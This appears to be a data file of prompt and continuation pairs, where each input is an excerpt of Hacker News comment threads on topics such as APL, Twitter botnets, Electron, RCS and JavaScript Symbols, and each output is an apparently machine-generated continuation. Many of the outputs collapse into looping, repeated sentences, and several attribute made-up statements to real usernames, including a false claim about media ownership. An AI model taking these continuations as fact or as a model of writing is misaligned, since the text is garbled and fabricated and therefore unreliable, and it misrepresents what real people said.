you play it?\" is the question you need to\nask. In video 'game' world, \"game\" has become an umbrella term for: \\-\nstories, \\- simulations, \\- puzzles, \\- actual multiplayer games, \\-\nplaygrounds/toys (Minecraft, MMO...)\n\nBasically any interactive software that is used for entertainment is called a\ngame these days. I guess vlc also meets the criteria, after all you can use it\nto watch porn.\n\nThere's a parallel between Test Driven Development and board games. Today,\ncomputer games have become so complex and have so many moving parts that they\nhave more in common with simulations than board games they largely came from.\nThis is because you no longer understand all or even most of its RULES.\nComputer is kind enough to calculate everything for you. You don't know why a\nfireball deals 23 damage or why your city suffers an epidemic. It could be\nbecause it's scripted that way, because something gives it a +20% bonus (added\nbefore or after X? Is it actually +20% or * 1.2? Wording is ofter\nambiguous). The player is only expected to move"} +{"output_text": "that it's a language which can be used to write programs in many different\nways.\n\n~~~\ncomatose_kid\nI agree with you. I think that the problem is that we have a lot of languages\nand we don't know which one is best for which problem.\n\nI think that the best way to solve this problem is to have a language which\nallows you to write programs in many different ways.\n\n~~~\nstcredzero\n_I think", "input_text": "\nas complexity arising from a large number of lines of code can be dramatically\nreduced. Many APL advocates and practitioners view programming in standard\nprogramming languages, such as COBOL and Java, as comparatively tedious.\"\n\n~~~\nbayareaguy\nKen Iverson's Turing Award lecture, \"Notation as a Tool of Thought\" should be\ninteresting to you and others here, particularly those who subscribe to the\n\"implementation as specification\" idea.\n\n\n\nSome of the ancedotes here are good too:\n\n\n\n~~~\ncomatose_kid\nThanks for the links. I especially liked the following observation:\n\n\"During the APL75 conference in Pisa Ken visited the Leaning Tower. He\npronounced it the first software project -- late and overbudget, and from\nearly on everyone could see that it was going to be a disaster, but by then\nthe project was too far along and there was nothing to do but plow ahead.\"\n\n------\nstcredzero\nIf programming languages are for making programming easier, then it's clearly\na mistake to use just one language to write programs. Different languages are\noptimal for different areas of concern. Rob Pike spent 6 months writing a\nlanguage optimized for concurrency, then wrote an entire windowing system in\njust 300 lines. If a programming language is a tool, then people have been\nadvocating doing everything with a hammer. What if we had a way of combining\nmany different languages, so that each area of concern could be written in the\nlanguage which is optimal for it? I think one of the strengths of Lisp, is\n"} +{"output_text": "\n------\nmatt_the_bass\nI think the author is missing the point. The article is about the value of\nhaving a team of developers. The author is not saying that a team of\ndevelopers is a bad thing.\n\nThe author is saying that a team of developers is not a good thing if the\nteam is not well managed.\n\n------\nmatt_the_bass\nI think the author is missing the point. The article is", "input_text": " the company immensely as it can now\nhire top 1-2% who are extremely good at making these frameworks or guard-rails\nand the rest can be lesser quality devs who will do the plumbing. An example:\nwriting multi-threaded programs and reasoning about them is hard so why not\nmake a framework which takes care that developers only write business logic\nand integrate with various APIs.\n\nThis is now true in most companies now as Open source projects are doing the\nsame thing. Look at Apache Spark for example which makes writing distributed\nprograms for Machine Learning, ETL and Analytics much easier for developers.\n\n------\ncimmanom\nThere's an argument to be made that that's a sign of an engineering\norganization that has its priorities straight and is serving the business\nwell.\n\n------\nCM30\nSometimes, though I suspect in a lot of cases that's probably for the best. I\nmean, if a product or service exists and does what you need it to, isn't it\nbetter to take advantage of that rather than reinvent the wheel every time?\nSure, you could create your own inhouse CMS for those client websites or what\nnot, but it's likely not worth it given the effort of making your updates,\nfixing security holes, etc. Same with anything really. You could in theory try\nand go all the way back to the start on your own, but where does it end?\nEventually you'll be doing ten times more work for little extra benefit.\n\nAre there examples where doing the extra work could be better? Of course, I\nknow that one from experience. All that time trying to integrate a CMS and a\nforum script and a bunch of other standalone things was a nightmare, and in\nthat case I definitely wish I'd just rolled the whole thing myself instead.\n"} +{"output_text": " all the craziness in the theistic religions which cause\npeople to do worse things than coordinating over silly ideas.\"\n\nI'm not sure what you mean by 'theistic religions'.\n\n\"I wouldn't condone all the \"craziness\" but I can't generalize and denigrate\nit either.\"\n\nI'm not sure what you mean by 'denigrate'.\n\n\"This craziness, as you may see, represents a lot of creativity", "input_text": " killed. In that case you could just as\neasily rail against ideologues.\n\n>and that is the psychology of people who are willing to believe truly crazy\nstuff\n\nMaybe they see all the craziness in the world and only become a reflection or\namplification of it. We can't also forget all the craziness in the theistic\nreligions which cause people to do worse things than coordinating over silly\nideas. I wouldn't condone all the \"craziness\" but I can't generalize and\ndenigrate it either. This craziness, as you may see, represents a lot of\ncreativeness and originality that you can find in man and many good things\ncome from it, both productive and what you might see as non-productive. And if\nit's the \"meaningless\" fun they're having at harmless conventions, it isn't\nmeaningless if it's fun. Fun has meaning in giving people reprieve from\nstressors, which ultimately helps us be more productive. And if not, oh well.\nYou wind up with people who've just enjoyed themselves for apparently nothing.\nWe could get deep into existential philosophy if you like but I think you get\nthe point. You can look at many things as shallow but often, like with\neverything in the world, there is more to it than what's on the surface and\nmore meaning in it than you may see. Because you don't see meaning in\nsomething doesn't mean it's not there.\n\n~~~\njariel\nThe intellectual hoops you're leaping through to try and justify a normal\ncomment as 'propaganda' not only don't help your case - they only serve to\npossibly validate that your very own response is is a form of propaganda\nitself.\n\n\"We can't also forget"} +{"output_text": " that a lot?\n\n~~~\nmmirate\nIt's a lot for a botnet, but not for a botnet that's been running for years.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. It's a bunch of\nspeculation and I don't see how it's any different than the \"Twitter is\ndying\" articles that have been posted here on HN for the past few years.\n\n~~~\n", "input_text": ", but I have no idea what it might be.\n\n------\nKrasnol\n> The next challenger to Twitter will not be another centralized platform like\n> Gab. It will be decentralized \u2013 perhaps a federation like Mastodon, where\n> each node runs its own CoC and community standards \u2013 similar to IRC days.\n\nYou might want to ask Wil Wheaton what he thinks about Mastodon...\n\n~~~\nmmirate\nWhy is some random actor's opinion unusually important, let alone on a\ntechnical topic such as this?\n\n~~~\nKrasnol\nBecause what happened to him is relevant to the topic.\n\n \nWe have bought followers fo $5 and discovered 15M botnet on Twitter - investjtravolta\nhttp://sadbottrue.com/article/15/\n======\nMichaelGG\n15M is nearly 5% of Twitter's active users, or all the growth they've had in\n2015. Assuming these bots are \"active\".\n\n~~~\nmarak830\nIf it's true, I wonder what effect it will have on the value of Twitter(I do\nassume this isn't the only one).\n\nIf it turns out half the use base is made out of bots or non-active registered\nusers that is.\n\n------\nDougN7\nBesides these 'obvious' bots, there are more that have humans in control, but\nwhich the humans never read tweets, they just post them. I would bet, though\nhave no data, that there is a large percentage of these 'post-only' accounts.\nNot sure if they should be called bots or not...\n\n------\nimaginenore\n$1M from 15M fake accounts is rather low.\n\n6.67 cents per account.\n\nIsn't"} +{"output_text": "~~~\nrifung\nI agree with you, but I think it's also important to note that there are\npeople who are good at delegating and people who aren't.\n\nI think it's also important to note that there are people who are good at\ndelegating and people who aren't.\n\nI think it's also important to note that there are people who are good at\ndelegating and people who aren't.\n\nI think it's also important", "input_text": " decided to publish it\n(and programmatically keep it updated so it's always right - spreadsheets are\ntiresome to maintain!)\n\n \n\nThe Hidden Co-Founder - remyt\nhttp://techcrunch.com/2015/03/05/the-hidden-co-founder/\n\n======\nrifung\nIt's fascinating that some founders will always post things like this, \"I\ndon\u2019t think true work/life balance is possible in the day-to-day reality of\nstartups\" and yet others say that there's really no need to sacrifice work\nlife balance even at a start up, and that if you are working yourself to\ndeath, you aren't working smart.\n\nI suppose there's not necessarily a right answer.\n\n~~~\nonion2k\nPeople who say it isn't possible to maintain a work/life balance in a startup\nare usually those who find it hard to delegate - they don't have people around\nthem that they trust to do as good a job of something as they do themselves so\nthey refuse to hand responsibility to other people or accept that they aren't\nthe best person for the job.\n\nIn a small startup that's fine because there aren't that many things to do. A\nfounder _can_ be the developer, support, strategist, and marketer all at once.\nArguably it's even a good thing at that stage because it keeps the burn rate\ndown. The problems arise when there's too much growth for the jobs to be all\nbe done, or even just overseen, by a founder. Then they struggle and start to\nhold the business back.\n\nA good founder is always be looking for people who are _better_ than they are\nto hand things over to. That's how a business succeeds.\n\n"} +{"output_text": "~~~\ndang\nThe Economist and The Register are both owned by the same company, so it's\nnot surprising that they'd cover the same story.\n\n~~~\nHarvesterify\nI see. Thanks for the clarification.\n\n------\nm0zg\nI'm not sure why this is news. It's been known for years.\n\n~~~\ndang\nIt's news because it's a big deal.\n\n~~~\nm0zg\nIt's", "input_text": " Typically ex-\nmilitary, they have to pass a background check and are cleared to work in\npublic spaces. When cleaning secure areas, they're escorted and watched.\n\n~~~\nttul\nAnd the people escorting and watching them are also escorted and watched. And\ntheir families are interviewed. Etc... It's a huge undertaking.\n\n------\nHokusai\n> to the considerable irritation of those who had kept it under wraps for\n> decades\n\nOn one side, so much secrecy worries me. On the other side kudos for keeping\nthe secret pact secret for so long.\n\n------\nl1ghthouse\n[http://archive.is/zmTgX](http://archive.is/zmTgX)\n\n------\nselimthegrim\nThey let the Turkish Army into NATO and hold nukes and it reuses OTPs?\n\n~~~\nnabla9\nThey don't let Turkish Army hold nukes.\n\nThey are just located in Turkey. Turkish Air force practises the delivery so\nthat they can do it if necessary.\n\n~~~\njacobush\nYeah, however there was talk that getting the nukes _out_ of Turkey would not\nbe easy, especially if Turkey would not cooperate.\n\n------\nwooptoo\nSans paywall [https://outline.com/VKPeR4](https://outline.com/VKPeR4)\n\n------\nneonate\n[https://archive.md/FMsZM](https://archive.md/FMsZM)\n\n------\nHarvesterify\nCan somebody explain why The Register and The Economist suddenly pick up the\nsubject, while the original article from Jacobs was published a few months\nago, and several newspaper already covered the topic?\n\n"} +{"output_text": " fit.\n\n------\njoshu\nI've been in a few interviews where I was asked to do a coding exercise. I\nhave a CS degree, but I've never done any serious coding. I've never done\nanything that would be considered \"real\" programming.\n\nI've always been a little nervous about this, but I've never been asked to do\na coding exercise.\n\nI've always been a little nervous about this, but I've never been", "input_text": " which was a lie, since I walked around and\nasked. So no clue of the right lesson for that one. Sometimes you just end up\nwith a bad company despite doing everything right.\n\n~~~\ntheworstshill\nWhat a shithole. Hope you got out there with some sanity left.\n\n------\nxupybd\nThere are some simple interview tips in the video below, I'd say if you get\nthese down you'll have nothing to worry about.\n\n[https://www.youtube.com/watch?v=38cUwnkoDxk](https://www.youtube.com/watch?v=38cUwnkoDxk)\n\n------\ndbcurtis\nLook out for a paranoid culture. It should be easy to detect. When you ask\nquestions, are there places people just won't go with their answers? Do you\nget deflective answers? Are there people who don't seem to want to talk to\neach other?\n\n------\nthefastlane\ni once got through the entire interview process (salary negotation etc etc)\ninteracting with the person i thought would be my boss. i specifically wanted\nto the job because i liked this person. but when i received the offer letter,\ni discovered that someone else would be my supervisor -- it definitely caught\nme offguard. and turns out it ended up being the worst job i'd ever had. i\nwouldn't call the supervisor bait-n-switch a red flag, but now i'm now\nhyperattentive to even the tiniest of hiccups during hiring. surprises during\nthe interview process can equal surprises on the job as well.\n\n------\nAbdirahman\nWell I'm looking for a cofounder now so perhaps you'd be a nice"} +{"output_text": " but\nthey were very helpful.\n\n~~~\njoshstrange\nI've had a few printers that would not recognize a 3rd party cartridge and\nwould not print. I've had to send them back to the manufacturer and they\nwouldn't even replace the cartridge. I've had to send them back to the\nmanufacturer and they would replace the cartridge but it would still not print\n(I've had to send them back to the manufacturer and they would replace the\n", "input_text": " the operating system for the problems. I\nspent many years on the Genius Bar (back in the PowerPC and early Intel days)\nand, in almost, every interaction, the device was to blame - as far as the\ncustomer was concerned. In some cases, they were right, in others it was due\nto outdated software, buggy third-party drivers or just something they bought\nthat was not Mac compatible. But as far as the customer was concerned, it\ndidn't work so therefore it was a problem with their computer.\n\nWhat has to be remembered is that the types of people who read Hacker News\nwould understand, in more detail, what might be causing the issue and know\ntroubleshooting is all part of the process. I bet printer companies get many\ncalls a day from people who bought third-party cartridges (sometimes without\nrealising) and complaining that their stupid printer isn't working and that it\nmust be the printer's fault.\n\nThe vast majority of consumers who would walk into an Apple Store or Best Buy\nto purchase something like this, they just think of it as one big ecosystem.\nIf it doesn't work with a bulb they bought off the internet, they will simply\nassume the product, as a whole, is terrible.\n\n~~~\ngmac\nOn the printer point, I once bought a 3rd-party cartridge for a Dell laser\nprinter that not only didn't work but actually broke the printer (it stopped\nrecognising all cartridges in that slot).\n\nThe first question they asked on the phone was whether I'd used a 3rd-party\ncartridge. I said yes.\n\nThe second question was where I'd like the free replacement printer delivered\n(now with added WiFi, and a full set of cartridges). Painful for Dell,"} +{"output_text": "\n\nI'm not saying that Google should not be allowed to have a diversity policy.\nI'm saying that Google should not be allowed to discriminate against white\nmales in the name of diversity.\n\n~~~\nnezzle\nI think you are saying that Google should not be allowed to discriminate\nagainst white males in the name of diversity.\n\n~~~\nmankash666\nI'm saying that Google should not be allowed to discriminate against white\nmales in the name of", "input_text": " many hateful, vindictive people have settled into\npositions of power at one of the most powerful companies in the world.\n\n------\ngorbachev\nThe comments on that article remind me why I should never read comments on\nonline articles.\n\n------\njacksmith21006\nMaybe an unpopular view on HN but I have no problem with Google letting Damore\ngo.\n\nWork is to do work and in the US you often times do not even know who the\nperson one cube over voted for.\n\nDamore shared his views on Reddit without using Google name is fine but at\nwork and multiple times even after told to stop is going to be a problem, imo.\n\n~~~\nmankash666\nIf Google treated all poiltical discourse within it's walls like it did\nDamore, there probably wouldn't be an issue. The whole problem is with\nfavoring one type of speech/thought in a militant fashion that violates\nfederal law.\n\nAnd regardless of the law, it's UNETHICAL to discriminate in the name of\ndiversity. In 2018, companies are expected to do the right thing. This article\npaints a very damaging picture of Google discriminating against white males\n(Disclaimer: I'm NOT a white male)\n\n~~~\nnezzle\n> it's UNETHICAL to discriminate in the name of diversity.\n\nI think Amazon disagrees with you. They include this in their job postings:\n\n>Amazon is an Equal Opportunity-Affirmative Action Employer \u2013 Minority /\nFemale / Disability / Veteran / Gender Identity / Sexual Orientation.\n\nI don't think you can be both equal opportunity and affirmative action at the\nsame time.\n\n~~~\nmankash666\nYou've completely misunderstood & mis-represented my viewpoint."} +{"output_text": " to the open source community.\n\n~~~\nKliment\nI'm not sure what you mean by \"open source community\". The open source\ncommunity is not a patent-free zone.\n\n~~~\ndaughart\nI'm not sure what you mean by \"open source community\". The open source\ncommunity is not a patent-free zone.\n\n~~~\nKliment\nI'm not sure what you mean by \"open source community\". The open source\ncommunity is not a", "input_text": "Okay, today we're going to write DNA, it's sequence will be\nACGTTTGACGTACGTTCAGTG.....\" and we're going to mix our newly designed gene\ninto a larger natural DNA strand and this synthetic gene inside of the DNA\nwill make this tree glow a very slight yellow-tinge, then we're going to sell\nthat on kickstarter. [http://www.kickstarter.com/projects/antonyevans/glowing-\nplan...](http://www.kickstarter.com/projects/antonyevans/glowing-plants-\nnatural-lighting-with-no-electricit) (the only reason they're using a larger\nDNA strand is a full strand might cost in the range of $100b-$1t presently)\n\nThis is not the same as what's been done more frequently for the last long\nwhile which was dissecting existing genes from other DNA strands (lets say\ngene XYZ from a starfish) and introducing it into a bacteria.\n\nAlso, this doesn't mean I agree with the new law. I think this motion is even\n_more_ nonsensical than software patents we face today, and has already handed\noff all the wonderful innovations that the synthetic biology revolution has to\noffer to a nation who's pumping loads of cash into this sector: China.\n\n------\nshmerl\nIdiotic decision. DNA should not be patentable.\n\n~~~\ndaughart\nWhat if you engineer a completely novel protein, with novel regulatory\nsequences, for a novel function? Should you be unable to patent such an\ninvention?\n\n~~~\nKliment\nHonestly, no, it should not be patentable. This is entirely equivalent to a\nsoftware patent.\n\n~~~\ndaughart\nReally? Say goodbye"} +{"output_text": ". Then I had to wait another month to get a server. Then I\nhad to wait another month to get a domain name. Then I had to wait another\nmonth to get a domain name registrar. Then I had to wait another month to get\na hosting company. Then I had to wait another month to get a domain name\nregistrar. Then I had to wait another month to get a hosting company. Then I\nhad to wait another month to get a domain name", "input_text": "capital-firm-preview/)\n\n \n \n Two of the names that come up most often in \n connection with In-Q-Tel, however, need no \n introduction: Google and Facebook.\n \n The publicly available record on the Facebook/In-Q-Tel \n connection is tenuous. Facebook received $12.7 million \n in venture capital from Accel, whose manager, James \n Breyer, now sits on their board. He was formerly the \n chairman of the National Venture Capital Association, \n whose board included Gilman Louie, then the CEO of \n In-Q-Tel. The connection is indirect, but the \n suggestion of CIA involvement with Facebook, however \n tangential, is disturbing in the light of Facebook\u2019s \n history of violating the privacy of its users.\n \n Google\u2019s connection to In-Q-Tel is more \n straightforward, if officially denied. In 2006, \n ex-CIA officer Robert David Steele told Homeland \n Security Today that Google \u201chas been taking money \n and direction for elements of the US Intelligence \n Community, including the Office of Research and \n Development at the Central Intelligence Agency, \n In-Q-Tel, and in all probability, both the \n National Security Agency (NSA) and the Army\u2019s \n Intelligence and Security Command.\u201d Later that year, a \n blogger claimed that an official Google spokesman had \n denied the claims, but no official press statement was \n released.\n\n------\nbobjordan\nOne does not simply launch a website on a server inside of China. First, I had\nto wait about four months on a waitlist with AWS-China to get setup with an\nAWS-China account"} +{"output_text": "\n~~~\njlgaddis\nI'm not sure what you mean by \"people still use RCS\".\n\nI've used RCS for years, and I still use it today.\n\n~~~\njlgaddis\nI guess I should have been more clear. I'm not sure what you mean by \"people\nstill use RCS\".\n\nI've used RCS for years, and I still use it today.\n\n------\njlgaddis\n", "input_text": " have used if not for the AT&T lawsuit, namely BSD, does not\ninclude Python in the base install. If Python were truly \"small\", I'd consider\nit for use in embedded systems.\n\n------\nocto_t\nfor old legacy systems, keeping /etc/ in RC is (and has been) a massive\ngodsend.\n\nIts nice to see a rarely used bit of software from 31 years ago still being\nmaintained.\n\n~~~\njlas\nNowadays I sometimes create a git repo in my /etc directory\n\n~~~\nGnewt\nI use etckeeper, which is basically the same thing except with some nice hooks\nlike auto-commit on apt-get install.\n\n~~~\nemillon\nAnd fixes the permissions. With /etc in git it becomes world-readable.\n\n~~~\nlallysingh\nA script that gets the current permissions for every file/dir and emits a\nchmod command for each one is pretty handy.\n\n------\ndavvid\nIf you find yourself versioning single files, and still want to use Git, you\nmay want to check out \"Zit, the Git-based single file content tracker\".\n\n[https://github.com/Oblomov/zit](https://github.com/Oblomov/zit)\n\n------\nvincie\nI use it extensively for any files I touch that I do not share with anyone\nelse, especially configuration files. Comes included in NetBSD, so no need to\ninstall anything else.\n\n------\narmy\nWe had to use RCS for university projects and submit the versioned files. It\nhas many shortcomings but the simplicity of it is nice for some purposes.\n\n------\njng\nPeople still use RCS?\n"} +{"output_text": " every other language has a way to do this.\n\n~~~\nk__\nI think it's because of the way the language is designed.\n\nYou can't define a property with a Symbol, because it's not a property.\n\nYou can't define a property with a string, because it's not a property.\n\nYou can't define a property with a number, because it's not a property.\n\nYou can't define a property with a boolean, because", "input_text": "2bf8d5394e6f995791a0](https://gist.github.com/yoshuawuyts/2bf8d5394e6f995791a0)\n\n------\nBinaryIdiot\nSymbols are odd. Maybe it's just me but they feel like they work \"funny\" in\nJavaScript.\n\nAs the article says you can't implicitly convert a symbol's description to\nstring. Symbol is now the only native object in JavaScript that has this\nbehavior.\n\nvar str = \"something\" \\+ \"str\"; // Works\n\nvar num = \"something\" \\+ 5; // Works\n\nvar func = \"something\" \\+ function () { }; // Works\n\nvar obj = \"something\" \\+ { some: \"test\" }; // Works\n\nvar bool = \"something\" \\+ true; // Works\n\nvar dt = \"something\" \\+ Date.now(); // Works\n\nvar und = \"something\" \\+ undefined; // Works\n\nvar nul = \"something\" \\+ null; // Works\n\nvar nan = \"something\" \\+ NaN; // Works\n\nvar sym = \"something\" \\+ Symbol(\"test\"); // Throws TypeError\n\nAnother thing, which is more of a style thing in my opinion, is you can\nactually define a property with a Symbol which just seems awkward to me. I\nmean sure you can use it as a property by design so why wouldn't you be able\nto use defineProperty? I always felt those should be public types of\nproperties where you can add additional logic where necessary.\n\nvar obj = { };\n\nObject.defineProperty(obj, Symbol(\"MyProp\"), {\n\n \n \n get: function () { return 15; } \n \n\n});\n\nI feel like almost"} +{"output_text": "\nmicrophone for my iPhone for $10, and it's been great.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI've been using Amazon for years, and I've never had a problem with them.\n\nBut I've also never had a problem with a local store.\n\nI think the problem is that Amazon is so big that they can't be bothered to\ncare about the little guy.\n\n", "input_text": " small business alike:\n\n\\+ bought a baking steel direct from the seller (shipping time ~5 days vs. 1\nmonth+, so I canceled the amazon order)\n\n\\+ monitor out of stock for over a week on amazon (in stock at bnh, shipping\ntime ~4 days)\n\n\\+ monitor arm I didn\u2019t even bother looking at on amazon (shipping time direct\nfrom seller ~2 days)\n\n~~~\nchrisweekly\nbnh?\n\n~~~\nArcsech\n[https://www.bhphotovideo.com/](https://www.bhphotovideo.com/) presumably.\nI've ordered some things from there, and generally had a good experience, with\na few notes:\n\n\\- For large purchases at least, they are very scrupulous about sending tax\ndocuments to your home state to make sure the sales tax gets paid. This is\nprobably a social good overall, but unusual for internet retailers and may\ntake some folks by surprise.\n\n\\- They follow a Jewish holiday schedule, including the Sabbath, and do not\ntake orders on the Sabbath (in New York's time zone, at least). Again, not a\nnegative, but unusual for modern businesses, especially online ones.\n\n~~~\nghaff\nLast time I ordered from them, I think they collected the sales tax. I'm not\nsure when this started; I am a long-time customer but they're not a store I\ntend to purchase from frequently.\n\nI like them overall and I tend to prefer using them to Amazon for AV type of\npurchases.\n\n~~~\nhsitz\nDoesn't just about everywhere collect sales tax online now?\n\nBHPhotoVideo is my go-to place for tech and music stuff. I got their"} +{"output_text": "\nhigher prices.\n\n~~~\nmbrumlow\nI don't think they do. I think they just don't want to see the truth.\n\n------\njedberg\nI think the real problem is that the city is not building enough housing.\n\nThe city is building a lot of housing, but it's not building enough housing\nfor the people who want to live there.\n\n~~~\nhrdwdmrbl\nI think the problem is that the", "input_text": "OH get paid\nmore to begin with? is it just that minimum wage plus tips is already way more\nthan the cook gets paid?\n\nI don't disagree with your core claim that cooks are more valuable.\nanecdotally, when I worked at a takeout pizza place the main pizza guy got\npaid about twice what we made in the front, even including tips.\n\n------\nnewshorts\nIs no one considering the impact of foreign investment on housing and\nsunbsequently rent prices? Sure tech workers play a part, but they often pay a\nbetter part of their salary to the land owners who are more frequently likely\nto be foreign investors\n\n------\nJshWright\nA little off topic, but the idea of a \"celebrated\" pizza shop in SF strikes me\nas a little funny... I try a different pizza place every time I'm there, and\nI've yet to not be disappointed.\n\n~~~\ngamma-male\nYup. But I would say that pizza in the US is disapointing in general if you\nknow italian pizza.\n\n------\nmbrumlow\nYou can't have it both ways. Either change the city and build upwards or stop\ncomplaining about the price of living.\n\nThe notion that a city should not change and keep it's \"feel\" across sunch\nlong times is backwards thinking. Cities grow.\n\nI say this because the same people who want lower rents seem to also vote down\nbig new apartments because it will ruin the atmosphere. But I can't for the\nlife of me understand why anybody would want to preserve the current\natmosphere. The one you think you are defending is long gone.\n\n~~~\nhrdwdmrbl\nThey literally don't see how they constrain supply and how that leads to"} +{"output_text": " I'm not going to be the only one selling this.

- I'm not going to be the only one selling this.

I'm not going to be the only one selling this.\n\nI'm not going to be the only one selling this.\n\nI'm not going to be the only one selling this.\n\nI'm not going to be", "input_text": " then\nyes, this is an act of faith as well.\n\nBut \"weak\" atheism is merely a rejection of theism. It is not a proposed\nhypothesis, but a rebuke of unsupported hypotheses.\n\n~~~\nlst\nSorry, but this is already sophistication (in the archaic sense).\n\nAll things that happen _must_ have a cause.\n\nEven Big Bang had its Cause. And since the exact definition of God is: \"The\nonly one not caused by anything, but simply 'cause' of Itself\", there's no\nescape here...\n\n \nAsk HN: Organizations keep trying to give me money for a thing I made - rianjs\ntl;dr- How do you engage with VARs in a way that will get their attention?

In the last two years, several organizations has asked to license a medical spell check dictionary that I made years ago. After exchanging emails, I lost two of those, because I priced my product too high, and the third I landed (Indiana University School of Medicine), but I charged too little. (I'm OK with this, because it helps with credibility.)

I've got my pricing hammered out now, and I have a designer working on a home page, which should make it easy for individuals to buy. It comes with a real installer and works with Chrome, Firefox, and Windows & Office in a way that would be difficult to do by hand, and in a way that the competitors don't (despite their WAY higher prices).

- Much more competitive pricing

- Updates at a regular cadence with discounted yearly contract pricing. (= recurring revenue for me)

- Existing penetration is very high (tens of thousands of downloads), and"} +{"output_text": " it is denser than\n> water.\n\nI'm not sure I understand this. I thought that water is a liquid because it\nhas a lower density than ice.\n\n~~~\njessriedel\nWater is a liquid because it has a lower surface tension than ice.\n\n~~~\ncoryfklein\nAh, I see. Thanks!\n\n------\njessriedel\nI'm not sure I understand the argument. The article says that the water", "input_text": " come up with, we still couldn't ship enough to Mars for it\nto matter.\n\nNo, the only payload that could conceivably be harmful is one that can self-\nreplicate, which at this juncture means life. (Ask again in a hundred years.)\n\n------\nleonardzen\nWouldn't it be bad if life forms are found in Mars, according to this?\n[http://waitbutwhy.com/2014/05/fermi-\nparadox.html](http://waitbutwhy.com/2014/05/fermi-paradox.html)\n\n~~~\nNhanH\nSpeaking in Bayesian probability, it's bad if life forms found on Mars are\nmore advanced than human, and good if it's much less advanced, or even very\nprimitive (as it means the Great Filter might be at an earlier stage than us\nright now).\n\nAnd it won't be the former case, for obvious reason.\n\n~~~\nthaumaturgy\nFinding life on Mars would still change one of the polynomials of the Drake\nEquation, which would shift upward the overall expected probability for\nintelligent life in the cosmos, which is probably what leonardzen means.\n\nBut \"we don't have enough data yet\" still seems like a good answer to the\nFermi Paradox anyway.\n\n~~~\nhanspeter\nIt would shift upward the overall expected probability for intelligent life at\n_our level_. However, since we have no evidence of life beyond our level of\nintelligence, it also increases the probability that civilizations will not\nsurvive long enough to become much more advanced than our civilization.\n\n------\ncoryfklein\n> For the water to be liquid, it must be so salty that"} +{"output_text": " as helpful as\nexpressing your own grief.\n\n~~~\njlgreco\nI think the point is that he is not judging Aaron, but rather is expressing\nhis own grief.\n\n~~~\nVikingCoder\nI think you're right.\n\n------\njlgreco\nI think the point of the post is that he is not judging Aaron, but rather is\nexpressing his own grief.\n\nI think that is a perfectly valid point to make.", "input_text": " means that\nfighting for our freedom is hard, and thus activists must, in order to have\nany chance of producing change, be prepared for the worst, in some form of\nself sacrifice.\n\nAtwood is saying (I feel erroneously) that Swartz came so close to creating a\nchange, but gave it all away when he \"ragequit\".\n\nThe point is, what happened happened, and I hope we never have to have a \"next\ntime\", but I'll bet that if there is a next time, it will play out _very_\ndifferently, and for the better, _thanks to Swartz_.\n\n------\ntzs\n> 22 January 2013\n\n?\n\nWhy wasn't this submitted last month, when Atwood's post was being discussed?\nIt seems odd to submit it nearly a month after discussion of that has pretty\nmuch ended.\n\n------\nVikingCoder\n\"I say this not as a person who wishes to judge Aaron Swartz. I say it as a\nfellow gamer who has also considered playing the same move quite recently. To\nthe point that I \u2013 like Aaron himself, I am sure \u2013 was actively researching\nit.\"\n\nAtwood is saying that he's considered suicide - recently, and that he doesn't\nwant to judge Aaron. Most importantly, he's grieving, and different people\ngrieve in different ways.\n\nI think you're being overly harsh in your post. Especially since you have two\nmessages for Jeff: stick to code; alter your message. Which would you prefer?\nEither way, you're judging his grieving process, which I think is unfair.\n\nI think you should express your own grief (and outrage) in your own way.\nPointing fingers at others who are grieving isn't nearly"} +{"output_text": ":

1) I'm not a designer. I'm a programmer. I can't draw. I can't\ndesign. I can't even draw a stick figure. I can't even draw a stick figure\nthat looks like a stick figure. I can't even draw a stick figure that looks\nlike a stick figure. I can't even draw a stick figure that looks like a stick\nfigure. I can't even draw a stick figure that looks like a stick figure.", "input_text": "://www.lofi.rocks/\n======\ndvt\nHi HN, a few weeks ago I made a \"replacement\" for the Spotify desktop app\nbecause I wanted a tiny player instead of a whole window I need to bring up to\nskip songs/etc. It's free & open source, works on Windows and MacOS and even\nhas visualizations (remember those?). Anyway, I thought I'd share it here. Any\nfeedback is welcome.\n\nDownload it by going here: [http://www.lofi.rocks/](http://www.lofi.rocks/)\n\nMIT-licensed source code here:\n[https://github.com/dvx/lofi](https://github.com/dvx/lofi)\n\n------\nnew_guy\nSpotify has revenue in the billions each year. And while this is a nice bit of\ncode and obviously scratches your itch, don't you feel maybe a bit silly doing\ntheir work for free?\n\n------\nnewsbinator\n> \"Lofi is light-weight and runs on less than 100MB of RAM.\"\n\nAh, when I first started programming this would have been tongue in cheek. But\ntimes change!\n\n \n\nAsk HN: 3 months in - where should I take this project? - bazookaBen\n\nA few months ago I made a prototype HTML5 game called Private Joe. Got tons of great feedback from HN.

I just released a radically improved facebook version of the game at http://bit.ly/rhoHkH. It has everything set up, social elements, invite system, leaderboard, store, etc.

My question is, how do I get to the next level?

Some major barriers that I'm facing"} +{"output_text": "I think the author is right that Electron is a bad idea. But I think the\nproblem is not with Electron, but with the web.\n\nThe web is a terrible platform for building desktop applications. It's\nextremely difficult to build a desktop application that is cross-platform and\ncross-browser.\n\nThe web is also a terrible platform for building desktop applications. It's\nextremely difficult to build a desktop application that is cross-platform and\ncross-browser.", "input_text": "boring and just entirely functional. And that is what techies actually use.\n\n------\n_bxg1\nI think the vitriol against JavaScript is unfair, but I absolutely agree that\nif native cross-platform desktop development weren't so horrendous, many\nthings that currently use Electron, wouldn't. The web's main draw these days\nis that it's a free, cross-platform GUI platform that sees _active development\nand community support_. That's the bar.\n\nAll of that said - and I've said this elsewhere before - _JavaScript is not\nthe problem with Electron._ I'm so weary of hearing this. Even the web is not\nreally the problem with Electron. Electron's problem is that there's no way to\nshare Chromium instances across installations or processes. _That's it_.\n\n~~~\ngiulianob\nIt's both. Go look at your memory usage per tab and it's not uncommon to see\nhundreds of megabytes for a simple static 2d UI. The way web renders is\nextremely inefficient then you couple that with a language that has no regards\nfor how a computer actually works and you get to the sad state we're in today.\n\n~~~\n_bxg1\n> hundreds of megabytes for a simple static 2d UI\n\nWithout a specific example that's hard to argue against, but I would wager it\nhas more to do with images, unnecessarily complex DOM, and possibly just poor\nengineering, as opposed to JavaScript itself.\n\n> that has no regards for how a computer actually works\n\nYou mean like Python? And Lisp? If you're taking issue with the very concept\nof high-level languages then state it as such, and good luck making a case for\nthat.\n\n------\ngiulianob\n"} +{"output_text": " say they're doing a lot\nof things right.\n\n------\njedberg\nI've been using WSL for a few months now and it's been great. I've been\nrunning Linux on my laptop for years, but I've never been able to get it to\nwork on 